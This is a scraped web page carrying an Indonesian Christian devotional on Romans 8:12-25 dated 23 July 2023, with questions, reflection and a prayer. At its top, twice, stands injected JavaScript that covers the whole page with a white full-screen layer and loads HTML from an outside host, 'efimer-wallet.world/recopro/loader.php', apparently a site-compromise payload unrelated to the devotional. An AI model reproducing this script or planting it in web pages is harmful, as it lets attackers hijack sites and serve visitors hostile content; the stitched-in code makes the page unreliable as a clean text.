const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Minggu, 23 Juli 2023
Roma 8 : 12 – 25
Pengantar
Ketika Ratu Victoria masih kecil, ia tidak menyadari bahwa di kemudian hari ia akan mewarisi tahta kerajaan Inggris. Para guru yang bertugas menyiapkan dirinya untuk menyongsong masa depannya menjadi frustrasi, karena tidak dapat menumbuhkan motivasi kepadanya. Akhirnya, para guru memutuskan untuk memberi tahu bahwa suatu hari ia akan menjadi ratu kerajaan Inggris. Victoria menjadi sadar dan memiliki tanggung jawab yang mempengaruhi tingkah lakunya. Kisah ini memberikan gambaran bahwa tidak sedikit orang yang merasakan kehilangan semangat dan motivasi dalam hidupnya karena berbagai persoalan. Namun kesadaran akan identitas diri dapat membuat seseorang kembali bersemangat dalam menjalani hidupnya.
Pemahaman
- Ayat 13-15 : Bagaimanakah wujud kehidupan orang-orang yang hidupnya dipimpin oleh Roh?
- Ayat 18-21 : Apa nasehat yang diberikan oleh Paulus kepada umat yang sedang mengalami pergumulan akan penderitaannya?
Dalam bacaan kita pada hari ini, kita menjumpai bahwa Rasul Paulus sedang menekankan pengajaran penting kepada orang percaya yang tinggal di Roma. Orang percaya harus terus-menerus mengarahkan hidupnya kepada Allah dengan menjauhi dosa, yakni dengan meninggalkan perbuatan-perbuatan buruk (ayat 13). Hanya melalui pimpinan Roh Kudus sajalah, orang percaya dapat hidup dalam kebenaran yang Allah berikan melalui Kitab Suci. Hal lain yang patut disyukuri adalah bagi setiap umat yang hidupnya dipimpin oleh Roh, disebut sebagai anak-anak Allah (ayat 14). Roh Kudus yang ada
dalam diri orang percaya akan menuntun dalam berpikir, berbicara, dan bertindak yang sesuai dengan Kitab Suci.
Kendati demikian, hidup oleh Roh bukan berarti meniadakan penderitaan atau tantangan. Sama seperti halnya Kristus sebagai Anak Allah, Ia menderita dalam melaksanakan kehendak Bapa, maka orang percaya juga akan melewati berbagai pergumulan (ayat 18). Justru ketika kita hidup oleh Roh, akan membuat kita memiliki pengharapan yang pasti sampai akhir hidup, yakni pengharapan kepada Allah. Janji pemuliaan yang dikatakan oleh Paulus tidak sebanding dengan apa yang kita alami sekarang. Itulah sebabnya, Paulus mengingatkan agar umat mengarahkan hatinya kepada Kristus, sehingga umat dimampukan untuk menghadapi penderitaan dengan keberanian dan pengharapan dalam nama Tuhan.
Refleksi
Menjadi anak-anak Allah merupakan anugerah yang diberikan bagi kita. Renungkanlah: sudahkah kita menghidupi status sebagai anak- anak Allah dalam berbagai situasi dan kondisi? Ataukah justru kita masih memelihara perbuatan daging dan tidak berpengharapan pada Allah?
Tekadku
Tuhan, aku bersyukur karena kasih-Mu selalu mengiringi langkah hidupku. Kiranya Roh Kudus selalu menerangi seluruh hidupku, agar pengharapan senantiasa bersamaku.
Tindakanku
Aku mau berkomitmen untuk menjadi pengikut Kristus yang setia, sebagai perwujudan nyata hidup dalam pengharapan sebagai anak- anak Allah.